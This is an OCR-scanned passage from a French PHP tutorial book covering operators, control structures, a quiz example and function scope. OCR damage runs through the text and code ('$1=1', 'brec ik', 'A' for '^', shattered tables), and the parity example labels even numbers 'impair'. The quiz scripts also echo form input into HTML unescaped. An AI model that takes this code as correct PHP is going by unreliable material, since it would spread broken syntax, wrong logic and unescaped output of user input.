Avant PHP 4.2.0, le fichier de configuration php.ini fixait par defaut {'option 
register _global a on, ce qui avait pour effet de creer systematiquement une 
variable globale portant le nom des parametres get, post, etc. Ainsi, par exemple, 
$_get[ "nom" ] etait egalement accessible par $nom, ce qui engendrait des 
problemes de securite. Cela est particulierement vrai avec les fichiers destines a etre 
inclus et qui s'appuient sur des variables globales declarees dans le script appelant. 



REMARQUE 
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Car, dans ce cas, une variable $maVari abl epeut etre "piratee" en appelant le script 
inclus avec le parametre TmaVari abl e=autreVal eur. 



RENVOI 



} Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



II existe egalement d'autres variables d'environnement, mais nous leur consacrerons un 
chapitre specif ique. 

II s'agit des tableaux $_cookie et $_session etudies dans le chapitre En-tetes et du tableau 
$_files etudie dans le chapitre Fichiers. 



3.5. Les operateurs 
Arithmetiques 

Les operateurs mathematiques sont classiques ; les voici regroupes dans un tableau. lis agissent 
aussi bien sur des entiers que sur des reels. 



Tableau 3.6 : 


Les operateurs arithmetiques 




Operateur 




Description 


$a + $b 




Sommede $a et $b. 


$a - $b 




Difference de $a et $b. 


$a * $b 




Produit de $a par $b. 


$a / $b 




Quotient de $a par $b. 


$a % $b 




Reste de la division de $a par $b. 



L'operateur '/' renvoie un entier si les deuxvaleurs de la division sont des entiers ou des chaines 
de caracteres representant des entiers. Si une des deuxvaleurs est un reel, alors le resultat sera 
un reel. 



1 Reste de la division 

\SV L'operateur '%' est particulierement utile ; il peut permettre de savoir si un nombre est 

astuce divisible par un autre. Par exemple, si vous souhaitez savoir si $a est un chiffre pair, il 

suffit de tester le resultat de $a%2 s'il vaut alors $a est un chiffre pair (divisible par 2). 

<?php 

for ($1=1; $i<= 5; $i++) { 
echo "$i:"; 
if ($i%2 == 0) echo "impair "; else echo "pair "; 
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?> 

Le resultat : 

l:impair 2:pair 3:impair 4:pair 5:impair 

Binaires 

Vous pouvez traiter les donnees binaires a l'aide de ces fonctions primaires : 
Tableau 3.7 : Les operateurs binaires 



Exemple 


Nom 


Description 


$a & $b 


Et 


Active les bits presents dans $a et $t>/. 


$a | $b 


Ou 


Active les bits presents dans $a ou $b. 


$a A $b 


Ou exclusif 


Active les bits presents dans $a ou $b mais pas dans 
les deux. 


~$a 


Non 


Oppose les bits. 



$a«$b Decalage a gauche Decale $a a gauche de $b rangs (revient a multiplier $b 

fois par 2). 

$a»$b Decalage a droite Decale $a a droite de $b rangs (revient a diviser $b fois 

par 2). 

Considerons $a=iO soit 1010 en binaire, que Ton notera 1010b et $b=i3 soit 1101b 




<?php 




$a=10; 




$b=13; 




echo "$a & $b = ".($a&$b); 




echo "$a | $b = ".($a|$b); 




echo "$a ~ $b = ".($a A $b) ; 




echo "~$a = ". (~$a) ; 




echo "$a«2 = ".($a«2); 




echo "$a»2 = ".($a»2); 




?> 




Voici le resultat obtenu : 




A Fichier Editor ftffidier Recherchei Allera Sgnete laches Aide 






(^ (.J (** t-J Q V-:r- localhost :-:-.?LiJ_Ll3.prip | 


C^ Redterdter | C^Q [^ 


'' ' 


10 & 13 = 8 




1 10 | 13 = 15 




' 10-13 = 7 




-10 = -11 




10«2 = 40 




10»2=2 




m J 94 D«™H*lTf™»(0JG5] 


=X= ^f 



Figure 3.5 : Resultat 
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Verifions : 

1010b AND 1101b fait 1000b soit 8 

1010b OR 1101b fait 1111b soit 15 

1010b XOR 1101b fait 0111b soit 7 

NOT 1010b fait ...10101b soit en complement a 1 1011b done -11 

1010b«2 fait 101000 soit 40 

1010b»2 fait 10 soit 2 

Les resultats concordent bien avec nos calculs. 



© 



L 'ecriture binaire 

Si vous n'etes pas familier de la notation et des calculs binaires, cela peut vous 
INTERNET paraitre obscur. Bien que cela ne soit pas indispensable pour I'apprentissage de PHP, 
si vous voulez en apprendre davantage sur la notation binaire, vous pouvez vous 
connecter, par exemple, aux sites Internet suivants : 
http://www.histoire-informatique.org/technologie/binaire.html 
http://www.web2.cnam.fr/evaristelevariste/10_courslbinaire/binaire.htm 
http://www.lille.iufm.fr/labo/pagesProjets/leparc/base2/thema.htm 



Chaines de caracteres 

L'operateur permettant la concatenation (fusion) de deux chaines de caracteres et le point ' . ' 
Voici un exemple de script affichant le resultat de la concatenation de deux chaines : 

<?php 

$a="PHP ?"; 

$b=" Facile !"; 

echo $a.$b; 
?> 



Affectation 

Le signe = est le symbole utilise pour affecter une valeur a une variable ; la valeur a la droite de 
ce signe est affectee a la variable de gauche. II est possible de les mettre en sequence, comme 
dans le script qui suit : 

<?php 

$a = ( $b = 3 ) +5; 

?> 

Apres cette instruction, $a vaut 8 et $b vaut 3. 
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II existe des raccourcis particulierement utiles : au lieu d'ecrire $a = $a+io, vous pouvez ecrire 
$a += 10. De meme, $a = $a-io peut s'ecrire $a -= 10. /= et *= sont aussi des operateurs 
d'affectation. 

Pour les chaines de caracteres, il existe le meme type d'operateur, a savoir : . =, ecrire $a . = 
"toto"; est equivalent a $a = $a."toto"; 



Incrementation et decrementation 



Tableau 3.8 : Operateurs decrementation et de decrementation 



Syntaxe 


Norn 


+ + $a 


Pre-incrementation 


$a+ + 


Post-incrementation 


— $a 


Pre-decrementation 



Description 

Incremente $a de un puis retoume $a. 
Retourne $a puis incremente $a de un. 
Decremente $a de un puis retourne $a. 



$a- 



Post-decrementation 



Retourne $a puis decremente $a de un. 



<?php 

echo "Post-incrementation<br>"; 

$a = 5; 

echo $a++; // affiche 5 

echo "<br>";// place une nouvelle ligne dans le script resultat 

echo $a; // affiche 6 

echo "<br>"; 

echo "Pre-incrementation<br>"; 

$a = 5; 

echo ++$a; // affiche 6 

echo "<br>"; 

echo $a; // affiche 6 

echo "<br>"; 




echo "Post-decrementation<br>" ; 

$a = 5; 

echo $a--; // affiche 5 

echo "<br>"; 

echo $a; // affiche 4 

echo "<br>"; 

echo "Pre-decrementation<br>"; 

$a = 5; 

echo --$a; // affiche 4 

echo "<br>"; 

echo $a; // affiche 4 

echo "<br>"; 
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Comparaison 

Tableau 3.9 : Les operateurs de comparaison 





Syntaxe 


Nom 




$a 


== $b 


Egal 




$a 


=== $b 


Identique 




$a 


!= $b 


Different 




$a 


<> $b 


Different 


a. 

CD 


$a 


!== $b 


Non identique 


CO 

c 


$a 


< $b 


Inferieur a 


CD 


$a 


> $b 


Superieur a 


_l 
CO 


$a 


<= $b 


Inferieur ou egal a 




$a 


>= $b 


Superieur ou egal a 



Description 

Renvoie true si $a est egal a $b. 

Renvoie true si $a est egal a $b et que $a et $b sont 
du meme type. 

Renvoie true si $a est different de $b. 

Renvoie true si $a est different de $b. 

Renvoie true si $a est different de $b ou de type 
different. 



Renvoie true si $a est inferieur a $b. 
Renvoie true si $a est superieur a $t>. 
Renvoie true si $a est inferieur ou egal a $b. 
Renvoi true si $a est superieur ou egal a $b. 



Tous ces comparateurs vous permettront de tester les variables pour agir en fonction du 
resultat obtenu. 



™ Depuis PHP4, le typage est devenu plus fort, meme si Von peut encore comparer 

directement des chaines de caracteres avec un entier ou un reel par exemple. Mais si 
false == (ce qui peut porter a confusion lorsqu'une fonction peut retourner 
dans un cas nominal et false en cas d'erreur) et bien false !== (puisque false 
est un booleen et un entier). 

Bien entendu, il est possible de combiner les operateurs binaires et les operateurs de 
comparaison. 

L'expression correspondant aux phrases "la variable a est differente de 3 et la variable b vaut 
toto ou alors la variable c est un booleen valant false" s'ecrit de differentes facons. En voici 
quelques-unes : 

(($a != 3 && $b == "toto) || ($c==FALSE)) 

// faire un test d'egalite avec TRUE n'est pas tres fute 

(($a != 3 && $b == "toto) || (!$c==TRUE)) 

// la fagon la plus standard de faire, reste 

(($a != 3 && $b == "toto) | | (!$c)) 
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Logique 



Les operateurs de logique vont servir a faire des tests complexes, par exemple pour savoir si $a 
vaut 3 ET $b est faux. 

Dans le tableau suivant sont regroupes tous les operateurs logiques supportes par PHP : 



Tableau 3.10: 


Les operateurs 


logiques 


Syntaxe 




Description 


$a and $b 




VRAI si $a et $b sont vrais. 


$a && $b 




VRAI si $a et $b sont vrais. 


$a or $b 




VRAI si $a ou $bestvrai. 



$a | $b VRAI si $a ou $b est vrai. 

$a xor $b VRAI si $a ou $b est vrai, mais pas les deux. 

! $a VRAI si $a est faux. 



1 , Utiliser Voperateur OR comme expression conditionnelle 

\V PHP n'interprete pas la partie droite de ['expression OR si la partie gauche est vraie. 

asrjce ® n P eut a '- ns '- sen servir astucieusement pour executer une instruction si une 

expression est incorrecte. 

<?php 

$a=4; 

($a==3) OR die("\$a ne vaut pas 3"); 

?> 

Ce script stoppe si $a ne vaut pas 3 et affiche un message. 

Cela est particulierement utile lors de Vappel a des fonctions (par exemple de 

connexion a une base de donnees) qui retournent false en cas d'erreur. 

<?php 

connexion() OR die("Impossible de se connecter"); 

?> 



Controles d'erreur 

PHP integre quatre grands niveaux de message d'erreur ou d'alerte. A chacun correspond une 
constante : 

e_notice : simple remarque (comme lorsque Ton essaye d'acceder a un index inexistant 
d'un tableau). 

e_parse : en cas d'erreur d'analyse a la compilation (comme une erreur de syntaxe). 
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e_warning : une alerte ne necessitant pas l'arret du script. 
e_error : une erreur "grave" necessitant l'arret du script. 

Une constante supplemental fait la somme de tous ces types d'erreur et d'alerte, il s'agit de 

E_ALL. 

A ceux-la viennent s'ajouter les niveaux e_core_error, e_core_warning, e_compile_error, 

E_COMPILE_WARNING, E_USER_ERROR, E_USER_WARNING et E_USER_NOTICE d'une Utilisation 

moins courante. 

Lorsqu'une erreur est rencontree et qu'elle depasse le seuil d'alerte, ou plus exactement 
lorsque son niveau de severite fait partie de la liste des niveaux a signaler, un message est 
envoye au client (i.e. est affiche sur la page reque par le navigateur). 

Les niveaux d'erreur a signaler sont definis dans le fichier de configuration php.ini, mais 
peuvent etre modifies au niveau du script par un simple appel a la fonction 



a. 

09 

cn 

CO 

t3) error_reporting ( ) 

£ 
o> 



error_reporting() 

Fixe les niveaux d'erreur devant etre signales. 



Syntaxe int error_reporting([int $niveaux]) 

$niveaux Combinaison par OU logique ou OU exclusif des differentes constantes 

indiquees precedemment. 

retour Anciennes valeurs des niveaux d'erreur. 

II est toutefois possible de s'affranchir des messages d'erreur pour une instruction donnee sans 
avoir recours a cette fonction. Pour cela, il existe un operateur de controle d'erreur, c'est le 
caractere @ ; il peut etre mis devant n'importe quelle fonction susceptible de generer une 
erreur. 

Cela peut etre particulierement utile pour generer vos propres messages d'erreur. 

Le script suivant fixe les niveaux d'alerte a "tous sauf les simples remarques" (ce qui est la 
configuration par defaut de PHP), puis tente d'acceder a un fichier qui n'existe pas. 

<?php 

error_reporting(E_ALL A E_NOTICE); 

$fichier = @file ( 'fichier_inexistant.toto') or 
die ("Impossible d'ouvrir le fichier."); 
?> 

La fonction file renvoie un booleen indiquant si l'operation s'est bien deroulee. Si le fichier 
n'existe pas, alors la fonction renvoie un message. Ici, nous avons mis @ devant le nom de la 
fonction ; nous n'aurons done pas cet affichage, mais le texte "Impossible d'ouvrir le fichier". 

Notez que cela peut aussi s'appliquer a des expressions, et done a un tableau, pour eviter un 
message si l'element recherche n'existe pas (ex. : @tableau[ " indexjnexistant"] ;). Ceci 
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dit, le message prevu en pareil cas est de niveau NOTICE, et PHP n'est, par defaut, pas 
configure pour afficher ce type de message. 



ASTUCE 



Connexion a une base de donnees 

Lorsque vous vous connectez a une base de donnees, il se peut que celle-ci soit 
momentanement indisponible. Done, au lieu d'obtenir le message d'erreur standard, 
il vaut mieux f aire preceder la fonction de connexion de 9 et tester le code retour pour 
afficher votre propre message si la connexion a echoue. 



Execution 

II existe un operateur d'execution, e'est ". Ce qui se trouve entre ces apostrophes inverses sera 
interprete par PHP comme une commande shell. Voici un exemple de script qui liste le contenu 
d'un repertoire, le stocke dans une variable, et l'affiche : 

Listing 3.6 : version Unix/Linux 

<?php 

$liste='ls -aV; 

echo "<pre>$l iste</pre>"; 




Listing 3.7 : version Windows 

<?php 

$1 iste='dir'; 

echo "<pre>$l iste</pre>"; 
?> 



Configuration du serveur 

Ceci ne fonctionne pas si {'option safe_mode du fichier de configuration php.ini a 
REMARQUE ^ activee (on) ou si la fonction shell_exec ( ) est desactivee. 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Priorites 

Les priorites sur les calculs sont les memes que celles que vous connaissez deja. 
8 + 2*3 fera bien 8 + 6 = 14 (et pas 10 * 3 = 30). 
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Dans le tableau suivant, vous trouverez les operateurs par ordre de priorite ; les premiers 
elements sont prioritaires sur les derniers. 

Tableau 3.11 : Associativite et priorite des operateurs par ordre decroissant de priorite 



Operateur 








Associativite 


New 








Aucune 


[ Droite 


! ~ ++ — (int) 
(object) @ 


(double) 


(string) 


(array) 


Droite 


* / % 








Gauche 


+ - . 








Gauche 


« » 








Gauche 



<<=>>= 



&& 



Aucune 
Aucune 
Gauche 
Gauche 
Gauche 
Gauche 



| | Gauche 


•? ; 














Gauche 


= + = 


-= *= /= . 


— *o — 


& = 


l= *= 


~= «= 


»= 


Gauche 


Gauche 



3.6. Les structures de controle 



Extremement utiles, les structures de controle vous permettront de faire des boucles et des 
tests dans vos scripts PHP. 



If, else, elseif 



La boucle de controle if est sans aucun doute la plus importante dans tous les langages de 
programmation ; cela vaut aussi en PHP. 

La syntaxe est classique : 

if (expression) instruction; 

ou, s'il y a plusieurs instructions (et cela reste conseille meme s'il n'y a qu'une seule 
instruction) : 
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if (expression) { 

instructionl; 

instruction2; 

instruction3; 
} 

expression est une expression booleenne ; si elle est verifiee (true), la ou les expressions qui 
suivent sont evaluees : 

<?php 

$a=3; 

if ($a>l) echo "a est superieur a un"; 
?> 



Expressions 

Les expressions peuvent bien entendu utiliser tous les operateurs de comparaison et 
de logique. Ilfaut toutefois s'assurer que les parentheses sont correctementplace.es. 

Maintenant, il est tres probable que vous ayez envie d'executer certaines instructions si 
l'expression retourne true (Vrai), et d'autres si elle retourne false (Faux). Dans ce cas, il faut 
utiliser l'expression suivante : 

if (expression) { 

instructionl; 

instruction2; 

instruction3; 
} else { 

instruction^ 

instruction5; 
} 

Voici un exemple : 

<?php 

$a=3; 

if ($a>l) echo "a est superieur a un"; 

else echo "a est inferieur ou egal a un"; 
?> 

Pour obtenir une valeur ou une autre selon le resultat d'un test, il est possible d'utiliser les 
instructions ? et : selon le schema suivant : 

(expression) ? (valeurl) : (valeur2) 

Ce qui donne par exemple : 

<?php 

$a=3; 

echo "a est ". (($a>l)?"superieur": "inferieur ou egal")." a un"; 
.> 
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^£) Accolades 

"**^ Encore une fois, dans le cas d'une seule instruction, les accolades peuvent etre 

omises, mais cela est deconseille (comme I'indiquent les regies de codage). 

II se peut que vous souhaitiez faire plusieurs tests consecutifs ; pour cela vous pouvez utiliser les 
instructions if. . elseif . .else... 

if (expression) { 
instruction!.; 
instruction2; 
instruction3; 
} elseif { 
Q- instruction^ 

instruction5; 
} else { 

2 instruction6; 

<o instruction?; 

i » 

Reprenons l'exemple precedent et ameliorons-le : 

<?php 

$a=3; 

if ($a>l) echo "a est superieur a un"; 

elseif ($a<l) echo "a est inferieur a un"; 

else echo "a vaut 1"; 
?> 



<D 



03 

en 



REMARQUE 



Jouer Valternance 

Comme cela a deja ete evoque, les portions de script PHP peuvent etre placees 
comme bon vous semble dans le script (vous pouvez ainsi alterner les portions de 
PHP et de HTML). 
Ainsi, le script suivant est valide : 



<?php 

$a=3; 

if ($a>l) { 
?> 

a est superieur a un 
<?php 

} elseif ($a<l) { 
?> 

a est inferieur a un 
<?php 

else { 
?> 

a vaut 1 
<?php 
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II existe encore une autre facon (meme si nous la deconseillons) de noter. Au lieu d'utiliser 
les accolades, la notation suivante est egalement valide. Dans ce cas, la fin du bloc est 
indiquee par endif. 

if (expression): 

instructionl; 

instruction2; 

instruction3; 
elseif : 

instruction^ 

instruction5; 
else: 

instruction6; 

instruction?; 
endif; 

Exemple (premiere etape) 

A partir de cette boucle de controle, il est deja possible de faire des scripts interessants. 
Realisons ensemble un script de Quizz. 

Listing 3.8: quizzOLphp 

<html> 
<head> 

<ti tl e>Qui zz</ti tl e> 
</head> 
<body> 
<?php 
if (isset($_POST["reponse"])) { 

$reponse=$ _POST["reponse"] ; 
} else { 

$reponse=""; 

} 
?> 

<p>Quel est le site officiel de PHP ?</p> 

<form type="post" action="<?php echo $_SERVER["PHP_SELF"] ;?>"> 
<input type="text" name="reponse" value="<?php echo $reponse ?>" /> 
<input type=" submit" value="0K" /> 
</form> 
<?php 
if ($reponse!="") { 

if (strtolower($reponse) == "www.phpfacile.com") 
echo "Ce n'est pas la bonne reponse"; 
elseif (strtolower($reponse) == "www.php.net") echo "Bingo !"; 
else echo "Et non, ce n'est pas ".$reponse; 
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</body> 
</html> 

Ici, la seule structure utilisee est if elseif else. Le fichier HTML de depart est un simple 
formulaire qui s'envoie a lui-meme la reponse saisie. 

Voici ce que signifie ce script : 

Si la variable $ reponse est definie, alors on compare la valeur de la variable reponse 
transformed en minuscules avec la chaine "www.phpfacile.com".. Si ces chaines sont 
identiques alors "Ce n'est pas la bonne reponse" est affiche, sinon on compare a "www . php .net" 
.. Si ces chaines sont identiques "Bingo" est affiche, sinon la phrase "Eh non, ce n'est pas " suivie 
de la reponse entree est affichee. 



Fichier Edition Afficher Rechercher Aljer a Signets Taches Ajde 



@ Q Q Q,o 
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Figure 3.6 : Quizz vO 

While, do . . . while 

Pour repeter une serie d'instructions, l'instruction while ou "tant que" en francais vous sera 
utile. Voici la syntaxe : 

while (expression) instruction; 

Cela signifie que tant que l'expression sera VRAIE, l'instruction sera executee. II faut done 
s'assurer que l'expression passe obligatoirement a FAUX a un moment donne, sinon le script 
bouclera a l'infini et ne se terminera que lorsque le temps maximal d'execution d'un script sera 
atteint. 

Bien stir, ['utilisation des accolades est egalement possible (et conseillee) ici. 

while (expression) { 

instruction!.; 

instruction2; 
} 

La notation avec les : est egalement valide (quoique deconseillee). Dans ce cas, le bloc est 
termine par endwhile. 

while (expression): 

instruction!.; 

instruction2; 
endwhile; 
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Voici un exemple concret de script qui affiche les entiers de 1 a 10. 

Listing 3.9 : Exemple 

<?php 

$i = 1; 

while ($i <= 10) { 
echo print $i++; 

} 
?> 



Duree de vie d'un script 

Vous pouvez regler le temps d'execution d'un script dans lefichier de configuration de 
, , . N . .• n ; PHP : il suffit de donner une valeur en secondes a max_execu t i on_ timeau niveau 
dufichierde configuration php.ini ou via lafonction set_time_limi t O.Ainsi, s'il 
s'avere que voire boucle ne se termine pas, le script ne tournera pas indefiniment. 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Une variante de la boucle while est la boucle do...while. La difference reside dans ce que le 
test est fait apres les instructions. Ainsi, la serie d'instructions est obligatoirement effectuee au 
moins une fois avant d'etre testee. 

Voici la syntaxe : 

do { 

instructionl; 

instruction2; 
} while (expression); 



For, foreach 



Les boucles for sont tres utilisees ; elles fonctionnent, comme dans d'autres langages, de la 
facon suivante : 

for (expressionl; expression2; expression3) instruction 

expressioni est executee avant toute iteration. Elle sert done generalement a initialiser les 
variables de la boucle. 

expression2 est executee a chaque iteration. Si elle est VRAIE, une nouvelle execution des 
instructions a lieu, sinon le programme sort de la boucle. 

expressions est une instruction executee a chaque iteration. Elle sert generalement a 
incrementer une variable. 

Voici un exemple de script qui affiche les chiffres de a 9 : 
for ($i=0;$i<10;$i++) echo $i; 
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II faut lire cette commande comme suit : apres avoir initialise $i a 0, et tant que $i est inferieur 
a 10, afficher $i, puis 1'incrementer. 

L'instruction break permet de sortir de la boucle. Dans ce cas, le restant des instructions n'est 
pas execute. 

for ($i=0;;$i++) { 
echo $i ; 
if ($i==9) break; 



Ces lignes de code auront le meme effet que le script precedent. 

II est aussi possible de se servir de la syntaxe utilisant les deux-points ( : ). Dans ce cas, le bloc se 
termine par endf or. 

for (expressionl;expression2;expression3) : 

instructionl; 

instruction2; 
endfor; 

L'instruction f oreach. offre une autre maniere de realiser une boucle, et elle est 
particulierement pensee pour les tableaux. Voici deux syntaxes possibles : 

foreach($tableau as $valeur) instruction; 
foreach($tableau as $cle => $valeur) instruction; 

Dans la boucle, la valeur de l'entree du tableau est recuperable par Jvaleur ; la cle associee est 
recuperable par $cle, a condition d'utiliser la seconde syntaxe dans cet exemple. 



Pointeur de tableau 

Lorsque la boucle f oreach est invoquee, elle met le pointeur du tableau en premiere 
position. II est done inutile d'appliquer lafonction reset ( ) dessus. 



Exemple (deuxieme etape) 

Cette fois, le script propose permet de repondre a plusieurs questions sur une meme page. II 
utilise une boucle f oreach et une boucle for ainsi que des tests if. 

Listing 3.10 : quizz02.php 

<html> 
<head> 

<ti tl e>Qui zz</ti tl e> 
</head> 
<body> 
<?php 

Squestions = array("Quel est le site officiel de PHP ?", 
"Quel est le nom de la commande qui 
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affiche une chaTne de caractere ?", 
"Quel est le nom de la commande 
qui met une chaTne de caractere en minuscule ?" 
$reponses=array( "www. php.net", "echo", "strtolower") ; 
// initialisation des variables 
foreach($questions as $index => $question) { 
if (isset($_POST["reponse$index"])) { 

${"reponse$index"} = $_POST["reponse$index"] ; 
} else { 

${"reponse$index"} = ""; 



?> 

<form type="post" action="<?php echo $_SERVER["PHP_SELF"] ;?>"> 
<?php 

foreach($questions as $index => $question) { 
echo $question; 

echo "<input type=\"text\" name=\"reponse$index\" 
value=\"${"reponse$index"}\"xbr>"; 

} 
?> 

<input type="submit" value="0K"> 

</form> 

<?php 

if ($reponseO != "") { 
$parfait = TRUE; 
for ($i=0; $i<sizeof ($questions) ; $i++) { 

if (strtolower(${"reponse$i"}) == $reponses[$i]) { 

echo "<br />La reponse ".($1+1)." est correcte"; 
} else { 

echo "<br />La reponse ".($1+1)." est fausse"; 
Sparfait = FALSE; 
} 
} 
if (Sparfait) 

echo "<br />Bravo ! "; 
else 

echo "<br />Perdu . . . "; 

} 
?> 

</body> 
</html> 

Voici une capture d'ecran de ce script en cours d'execution. 
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Switch 



Utiliser switch revient a utiliser des tests if consecutifs sur la meme variable. 
Void un exemple d'utilisation de switch. 

switch ($chanteur) { 
case "Cantat": 

echo "Ce chanteur est celui de Noir Desir"; 

break; 
case "Harper": 

echo "Ce chanteur est celui de Ben Harper and the innocent criminals"; 

break; 
case "Torrini": 

echo "Cette chanteuse est Emi liana Torrini"; 

break; 
default: 

echo "Ce chanteur m'est inconnu"; 
} 

Ce script est equivalent a : 

if ($chanteur=="Cantat") 

echo "Ce chanteur est celui de Noir Desir"; 
elseif ($chanteur=="Harper") 

echo "Ce chanteur est celui de Ben Harper and the innocent criminals"; 
elseif ($chanteur=="Torrini") 

echo "Cette chanteuse est Emi liana Torrini"; 
else "Ce chanteur m'est inconnu"; 

default est la condition qui sera VRAIE si aucune des autres ne Test. 

L'instruction break est indispensable ici, sinon toutes les instructions qui suivent sont 
interpreters jusqu'au prochain break ou la fin du bloc switch. Cela peut etre utile dans 
certains cas. 

switch ($i) { 
case 0: 



156 



Les structures de controle 



case 1: 
case 2: 

echo "i est positif mais inferieur a 3 "; 

break; 
case 3: 

echo "i vaut 3"; 
} 



^■gQ Comparaison 

'^ Contrairement a d'autres langages de program/nation, la variable a comparer pent 

etre aussi bien un nombre qu'une chatne de caracteres. 



Break, continue 1 

CD 

Deux instructions permettent de controler les sorties de boucle (for, while. . .). break est une ~a 

instruction qui fait sortir de la boucle, alors que continue passe a l'iteration suivante sans -o 

executer les instructions d'apres. 

<html> 

<headxti tl e>Conti nue, Break</ti tl ex/head> 
<body> 

<P> 
<?php 

for ($i=0;$i<10;$i++) { 

echo $i; // va afficher 0,2,4,6,8 

$i++; 

echo $i; // va afficher 1.3.5.7.9 




echi 


3 "<br>"; 






for 


($i = 0; 
echo $i ; 

$i++; 


$i < 


10;$i++ 




if ($i>4) 


brec 


ik; 




echo $i ; 






} 








echi 


3 "<br>"; 






for 


($i=0;$i< 
echo $i ; 

$i++; 


10;$i 


++) ( 




if ($i>4) 


continue; 




echo $i ; 






} 








?> 


</P> 






</body> 






</html> 









Voici le resultat obtenu : 
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Figure 3.8 : Resultat 

Pour bien comprendre, regardons la premiere boucle. Elle affiche tous les chiffres de a 9, mais 
affiche deux chiffres a chaque iteration. 

La deuxieme boucle, semblable a la premiere, utilise l'instruction break. A la premiere 
iteration les chiffres et 1 sont affiches. A la seconde les chiffres 2 et 3 sont affiches. Puis 4 est 
affiche. Enfin, apres ['incrementation $i vaut 5 (et la condition est verifiee) et le programme 
sort definitivement de la boucle. 

La troisieme boucle utilise l'instruction continue. A la premiere iteration les chiffres et 1 
sont affiches. A la seconde les chiffres 2 et 3 sont affiches. Puis 4 est affiche. Enfin, apres 
l'incrementation $i vaut 5 (la condition est verifiee) et la seconde instruction echo n'est pas 
executee (done 5 n'est pas affiche). Mais une nouvelle iteration est realisee faisant apparaitre le 
chiffre 6, mais pas 7, puis 8, mais pas 9. 



3.7. Les fonctions 



PHP possede, comme de nombreux langages, la possibilite de regrouper des portions de code 
sous la forme de fonctions (ou procedures). Si la definition de fonctions n'a aucun impact sur le 
fonctionnement d'un programme, et done s'il est possible de construire son developpement 
comme une suite d'instructions mises bout a bout, elle procure en revanche visibilite et 
reduction de la taille du code source. La maintenance n'en est alors que plus simple et plus 
rapide. 

Les fonctions permettant de structurer le code, il est fortement conseille de les utiliser et de 
constituer des fichiers independants qui regrouperont les fonctions de meme type. Ces 
bibliotheques pourront facilement etre reutilisees dans d'autres developpements et reduire 
ainsi le temps de mise au point (et done le cout de production). 

Trois avantages decoulent done de l'ecriture du code sous forme de fonctions : 

Le temps de developpement est considerablement reduit. En effet, vous n'avez pas a 
retaper des sequences de code identiques en divers endroits du programme. De la meme 
fagon, les bugs ne sont pas dupliques, d'ou un gain de temps considerable lors de la phase 
de mise au point. 

Meilleure lisibilite du code source. Le simple fait de regrouper le code en fonctions et les 
fonctions dans des fichiers separes permet aux developpeurs de s'y retrouver tres 
facilement. De plus, donner a vos fonctions des noms significatifs est complementaire avec 
l'ajout des commentaires, et facilite necessairement la lisibilite et la comprehension du 
programme. Ceci est d'autant plus important pour la perennite d'un code. Ainsi, la 
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maintenance et les modifications du programme sont facilities, meme pour un 
developpeur reprenant son propre code quelques temps apres l'avoir ecrit. 

Le travail en equipe est ameliore. Un developpement peut ainsi etre decoupe en plusieurs 
sous-parties, chaque developpeur ayant alors la tache de mettre au point une ou plusieurs 
fonctions. 

Si l'emploi de fonctions est un avantage certain, une etape de conception prealable reste 
necessaire afin de bien definir les fonctions qui devront etre developpees et de bien cibler leurs 
roles respectifs. Plus important encore, l'etape preliminaire permet de fixer les regies d'entree/ 
sortie de chacune des fonctions, ceci afin que chaque developpeur connaisse a l'avance les 
parametres qu'il doit envoyer a la fonction et ce qu'elle doit retourner une fois le traitement 
effectue. Si les fonctions sont connues des le debut, alors chacun pourra commencer a les 
utiliser dans son code avant meme la mise en production desdites fonctions. 



La syntaxe 

La fonction est un sous-programme isole du reste du code et utilisable par un simple appel 
depuis n'importe quelle partie du programme. 

La syntaxe pour declarer une fonction simple est la suivante : 

<?php 

function premiereFonction() 

{ 

echo "J'aime PHP !"; 



Ce code n'affiche rien tant que Ton ne fait pas appel a elle comme ceci : 

<?php 

function premiereFonction() 

{ 

echo "J'aime PHP !"; 

} 

premiereFonction() ; // Affiche "J'aime PHP !" 

?> 

Le cas precedent est un bon exemple de declaration de fonction et d'utilisation de celle-ci a 
l'interieur du programme principal. On voit l'interet qu'apporte la definition de la fonction 
dans le cas ou la tache de celle-ci est repetitive et devrait engendrer beaucoup de code source. 



Le choix du nom d'une fonction 

Afin de faciliter la lecture de votre code, n'hesitez pas a donner a vos fonctions un 
conseil nom evocateur. Tout comme pour les variables, la lecture de votre programme est 
facilitee si ces elements portent des noms explicites. Si les fonctions du programme 
s'appellent fonctionl ( ), fonction2 ( ) et fonction3 ( ), la maintenance n'en 
sera que plus difficile. Ne donnezpas a vos fonctions un nom trop enigmatique ou qui 
peut avoir plusieurs sens. Evitez les noms de fonctions trop courts pour qu 'Us ne 
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soient pas utilises plusieurs fois dans votre programme. Par exemple, pour une 
ll ri i fonction devant compter un nombre de personnes presentes sur une page web, ne 
I'appelez pas simplement compteurQ, mais plutot compteurPersonneEnLigne(). 



La portee des variables 



a. 

09 

cn 

CO 

=> <?php 

03 



Comme nous l'avons dit, une fonction n'est rien d'autre qu'un bout de code isole du programme 
principal. C'est done sans surprise que vous apprendrez qu'il est possible de definir des 
variables au sein des ses fonctions. Par contre, ce qu'il faut retenir c'est que les variables ainsi 
definies ne sont pas accessibles du reste du programme (elles ont une portee locale), comme le 
demontre l'exemple suivant : 



function bicentenaire() 

{ 

$annee = "2002"; 

echo "$annee e'etait le bicentenaire de la naissance de Victor Hugo !"; 

} 

bicentenaireO ; 

// Affiche "2002 e'etait le bicentenaire de la naissance de Victor Hugo !" 

echo $annee; // n'affiche rien, la variable n'est pas definie. 

?> 

A l'inverse, une variable definie en dehors de la fonction (dans le programme principal) n'est 
pas accessible depuis la fonction. 

<?php 

$annee = "2002"; 

$prenom = "Victor"; 

$nom = "Hugo"; 

function bicentenaireO 

{ 

echo "$annee e'etait le bicentenaire de la naissance de $prenom $nom !"; 

} 
bicentenaireO ; 

/* 

affiche "e'etait le bicentenaire de la naissance de !" 

Les variables $annee, $nom et $prenom 

ne sont pas definies au niveau de la fonction 

7 
?> 

Pour utiliser des variables globales dans la fonction, il faut utiliser le mot-cle "global" a 
l'interieur de cette fonction, comme le montre l'exemple suivant : 

<?php 

$annee = "2002"; 
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$prenom = "Victor"; 
$nom = "Hugo"; 

function bicentenaire() 

{ 

global $annee, $prenom, $nom; 

echo "$annee c'etait le bicentenaire de la naissance de $prenom $nom !"; 

$annee = "2003"; 
} 

bicentenaire ("bicentenaire") ; 
// affiche "2002 c'etait le bicentenaire de la naissance de Victor Hugo!" 

